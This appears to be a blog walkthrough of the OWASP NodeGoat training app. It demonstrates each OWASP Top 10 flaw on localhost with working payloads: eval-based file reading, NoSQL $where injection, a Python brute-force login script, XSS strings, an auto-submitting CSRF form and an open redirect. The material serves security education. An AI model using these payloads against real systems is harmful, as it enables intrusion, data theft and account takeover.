NodeGoat Walkthrough

Learning Node JS Security with NodeGoat

In this articles , we will learn to understand Node JS Security using OWASP NodeGoat Vulnerable Node Application.

NodeGoat Project

https://github.com/OWASP/NodeGoat

Node Goat Youtube Channel

https://www.youtube.com/channel/UC82m40vJG6dWi2_7CXJfiIw/videos

There are many ways to install NodeGoat. In this article, i will install NodeGoat to my machine Windows 10 64 bit.

What is Node JS?

to explain….

 

NodeGoat Installation

Download Node JS

https://nodejs.org/en/

Installation MongoDB

https://docs.mongodb.com/v3.0/tutorial/install-mongodb-on-windows/

Git cloning NodeGoat

git clone https://github.com/OWASP/NodeGoat
cd NodeGoat
npm install  // Installing Node Modules

Setup Mongo DB Environment

Creating DB path

mkdir C:\data\db

starting mongodb

mogod.exe

Configure Database in NodeGoat

config/env/Development.js

Uncomment the following line

db: "mongodb://localhost:27017/nodegoat",

Run db

npm run db:seed

Running NodeGoat

npm start

Screenshot

Getting Ready Node JS Security

Default Credentials

Admin Account - u:admin p:Admin_123
User Accounts (u:user1 p:User1_123), (u:user2 p:User2_123)
New users can also be added using the sign-up page.

Official Tutorial for each attacks

http://nodegoat.herokuapp.com/tutorial

0xA1 – Injection

Description

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Server Side JS Injection

Understanding

Some functions work "String to JS code"

String to code functions

eval()
setTimeout()
setInterval()
Function()

Some references

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Source Code Review app/routes/contributions.js

var preTax = eval(req.body.preTax);
var afterTax = eval(req.body.afterTax);
var roth = eval(req.body.roth);

Output

if (isNaN(preTax) || isNaN(afterTax) || isNaN(roth) || preTax < 0 || afterTax < 0 || roth < 0) {
            return res.render("contributions", {
                updateError: "Invalid contribution percentages",
                userId: userId
            });
        }
        // Prevent more than 30% contributions
        if (preTax + afterTax + roth > 30) {
            return res.render("contributions", {
                updateError: "Contribution percentages cannot exceed 30 %",
                userId: userId
            });
        }

        contributionsDAO.update(userId, preTax, afterTax, roth, function(err, contributions) {

            if (err) return next(err);

            contributions.updateSuccess = true;
            return res.render("contributions", contributions);
        });

Testing Applications

Kill Running Process

process.exit()

POC – Process is exit

File System Access

res.end(require('fs').readdirSync('.').toString())

Directory Traversal using File System Access

res.end(require('fs').readdirSync('..').toString())   // .. previous directory

Reading File

res.end(require('fs').readFileSync(server.js))

We can execute some process.

https://nodejs.org/api/process.html

More detail?

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

SQL & NoSQL Injection

OWASP guide for No SQL Injection

https://www.owasp.org/index.php/Testing_for_NoSQL_injection

Source Code Review app/routes/allocations.js

function searchCriteria() {

            if (threshold) {
                /*
                // Fix for A1 - 2 NoSQL Injection - escape the threshold parameter properly
                // Fix this NoSQL Injection which doesn't sanitze the input parameter 'threshold' and allows attackers
                // to inject arbitrary javascript code into the NoSQL query:
                // 1. 0';while(true){}'
                // 2. 1'; return 1 == '1
                // Also implement fix in allocations.html for UX.                             
                const parsedThreshold = parseInt(threshold, 10);
                
                if (parsedThreshold >= 0 && parsedThreshold <= 99) {
                    return {$where: `this.userId == ${parsedUserId} && this.stocks > ${threshold}`};
                }
                throw `The user supplied threshold: ${parsedThreshold} was not valid.`;
                */
                return {
                    $where: `this.userId == ${parsedUserId} && this.stocks > '${threshold}'`
                };
            }
            return {
                userId: parsedUserId
            };

Lets check  this query

$where: `this.userId == ${parsedUserId} && this.stocks > '${threshold}'`

Where to input ?

$where: `this.userId == ${parsedUserId} && this.stocks > 'USER_INPUT'`

DOS attack

$where: `this.userId == ${parsedUserId} && this.stocks > '    5';while(true){};'   '`

We break query with 5′;  and run anther one

$where: `this.userId == ${parsedUserId} && this.stocks > '    5';
while(true){};'   '`

Blind No SQL Injection

5';return (true);var foo='bar

what happened?

$where: `this.userId == ${parsedUserId} && this.stocks > '5';
return (true);
var foo='bar'`

Result

Other Resources for No SQL Injection

https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html
http://blogs.adobe.com/security/files/2011/04/NoSQL-But-Even-Less-Security.pdf?file=2011/04/NoSQL-But-Even-Less-Security.pdf
https://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html

No SQL Injection wordlist

https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt

0xA2 – Broken Authentication

The insecure demo application does not contain any provision to timeout user session. The session stays active until user explicitly logs out.

Password Guessing Attack – Bruteforce

Description

Implementing a robust minimum password criteria (minimum length and complexity) can make it difficult for attacker to guess password.

Lets check how login work

POST /login HTTP/1.1
Host: localhost:4000
Content-Length: 36
Cache-Control: max-age=0
Origin: http://localhost:4000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:4000/login
Accept-Language: en-US,en;q=0.8
Cookie: connect.sid=s%3AL19ZRoaiEGKsFEscDE0pZY1c388d8z-6.KiVsj22us34bcTp%2B23aJbTDPeKqL1vj9%2FBpyiSxYioo
Connection: close

userName=abcde&password=abcde&_csrf=

I intercept with Burp Suite Proxy

We can use burp Intruder for Bruteforce Login. But I will use python in this article.

Ok we can use requests module in python

http://docs.python-requests.org/en/master/

Understanding requests module

import requests
r=requests.get(http://location-href.com)

In this request , we are using get method

Response Codes?

r.text

But our Node Goat Login use POST method

r = requests.post('http://localhost:4000/login', data = {'userName':'abcde','password':'abcde'})

Response

Lets find Error Message

r.text.find('Invalid')

Invalid string is there , so we should get a return. Also test wrong string to find.

-1 stands for non existence string.

Now its time to create wordlist for username and password.

We can use python readfile (Reference here )

Creating username wordlist

Reading username.txt in python

file = open("C:/Users/ASUS/Desktop/username.txt")

and then read it

file.read()

For loop by line

for line in file:
    print line

Now we have

import requests

file = open("C:\Users\ASUS\Desktop\username.txt")
for line in file:
	print line

for password.txt , we need to understand 2 loop opeations

for i in range(1, 5):
    for j in range(1, 5):
        print i * j

above example is ok. Try this one

file1 = open("C:\Users\ASUS\Desktop\username.txt","r").readlines()
file2 = open("C:\Users\ASUS\Desktop\pass.txt","r").readlines()


file1L=len(file1)
file2L=len(file2)

for i in range(0,file1L):
	for j in range(0,file2L):
		print file1[i]+file2[j]

We will send request

import requests

url='http://localhost:4000/login'


file1 = open("C:\Users\ASUS\Desktop\username.txt","r").readlines()
file2 = open("C:\Users\ASUS\Desktop\pass.txt","r").readlines()


file1L=len(file1)
file2L=len(file2)

for i in range(0,file1L):
	for j in range(0,file2L):
		username=file1[i].strip('\n')
		password=file2[j].strip('\n')
		data = {'userName':username,'password':password}
		r=requests.post(url,data)
		
		results=r.text.find('Invalid')
		if results==-1:
			print "Found "+username+" "+password

 

0xA3 – XSS

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victims’ browser, which can access any cookies, session tokens, or other sensitive information retained by the browser, or redirect user to malicious sites.

Lets find the input to inject malicious JavaScript. Here we go

http://localhost:4000/profile

We can update our user data in profile page.

Lets inject at Last Name

<script>alert(document.domain)</script>

 

0xA4 – Insecure Direct Object Reference

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

This is an allocations web page. We can see allocations/2. We can think about that two may be User id?

Lets check out this!

When we change the value 2 to 1 ,  this content changed for Node Goat Admin .

0xA5 – Security Misconfiguration

This vulnerability allows an attacker to accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.

Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code.

Developers and system administrators need to work together to ensure that the entire stack is configured properly.

Security Misconfiguration is easy to exploit. Let me explaing How it work?

In many cases this is one of the easiest vulnerabilities to exploit. For example, if a system admin forgets to delete a default account with admin privileges, all an attacker has to do is to simply google the default credentials to login.

However, there can of course be more difficult alternatives of this vulnerability type that require more knowledge. All misconfigurations do not result in a possible full takeover, but may be used as part of a bigger attack.

According to OWASP Top 10 , we can understand by reading following Examples.

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your web server. An attacker discovers they can simply list directories to find any file. The attacker finds and downloads all your compiled Java classes, which they decompile and reverse engineer to get all your custom code. Attacker then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws such as framework versions that are known to be vulnerable.

Scenario #4: App server comes with sample applications that are not removed from your production server. These sample applications have well known security flaws attackers can use to compromise your server.

Whats wrong in this Node Goat?

We can find user cookie in Request header. We can steal this cookies using XSS.

Detectify Explaination for Mis Config

0xA6 – Sensitive Data Exposure

This vulnerability allows an attacker to access sensitive data such as credit cards, tax IDs, authentication credentials, etc to conduct credit card fraud, identity theft, or other crimes. Losing such data can cause severe business impact and damage to the reputation. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.

If we don’t use https for secure connection , attacker can intercept requests using Wireshark or other network traffic analysis tool. The only way to prevent this attack is using https for secure conntection.

We can find some fix in Node Goat Source code where server.js file.

// Fix for A6-Sensitive Data Exposure
// Load keys for establishing secure HTTPS connectionvar fs = require("fs");
var https = require("https");
var path = require("path");
var httpsOptions = {
    key: fs.readFileSync(path.resolve(__dirname, "./artifacts/cert/server.key")),
    cert: fs.readFileSync(path.resolve(__dirname, "./artifacts/cert/server.crt"))
};

0xA7 – Miss Functional Level Access Controls

Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed

lets check how admin panel look.

Username : admin , Password : Admin_123

We can’t see this page with other user accounts. Yeah we shouldn’t. However if you can spider or crawl to this web app, we can see this benefits page. How about this page with another user?

We can go like authorized user.

0xA8 – CSRF

Description

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests that the vulnerable application processes as legitimate requests from the victim

http://localhost:4000/profile

We can see 2 Input for Bank Account. Bank account is our bank account and routine bank account is receiver’s account. How it works in this App?

CSRF for Post Method

<form action="http://localhost:4000/profile" method="POST">
	<input type="hidden" name="bankAcc" value="88888888#">
	<input type="hidden" name="bankRouting" value="00000000#">
	<input type="submit" name="test">
</form>

<body onload="document.forms[0].submit()">

POC

0xA9 – Insecure Components

Description

Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.

We can also use Node Security Project

https://github.com/nodesecurity/nsp

In this case , marked library is vulnerable to xss.

https://ponyfoo.com/articles/fixing-xss-vulnerability-marked

Payload

[I'm here!](javascript&#58this;alert(1&#41;)

0xAA – Redirects

Description

Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Unvalidated Redirects are pretty easy. We can see following URL when mouse over to Learning Resources in Menu bar.

http://localhost:4000/learn?url=https://www.khanacademy.org/economics-finance-domain/core-finance/investment-vehicles-tutorial/ira-401ks/v/traditional-iras

We can change this URL to malicious address. In this case , i will use https://google.com for example.

http://localhost:4000/learn?url=https://google.com

 

 

Thanks for Reading

Do you want to read another walkthrough for Node JS Security ? Here ( OWASP Juice Shop Walkthrough )